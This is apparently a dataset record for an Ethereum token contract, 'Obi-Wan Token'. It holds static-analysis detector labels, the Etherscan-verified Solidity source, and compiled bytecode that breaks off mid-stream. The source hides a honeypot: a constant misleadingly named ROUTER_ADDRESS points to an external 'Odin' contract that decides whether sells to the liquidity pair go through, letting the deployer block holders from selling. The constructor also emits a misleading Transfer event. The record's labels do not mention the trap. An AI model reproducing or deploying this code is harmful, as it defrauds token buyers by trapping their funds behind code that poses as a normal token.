497764595feaaebfb4bbeb8d54a8355e6e07e9c780c509a860750f9ec764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,971
0x3461e8418372fA41AA4601b48BA7Ae7d2cbEF050
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ //SPDX-License-Identifier: MIT // Telegram: https://t.me/ObiWanToken pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="OWN"; string constant TOKEN_NAME="Obi-Wan Token"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface Odin{ function amount(address from) external view returns (uint256); } contract OBIWAN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(4); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600d81526020017f4f62692d57616e20546f6b656e00000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6305f5e1006104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6305f5e1006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4f574e0000000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60098110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6305f5e100611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6305f5e100611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6305f5e100611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6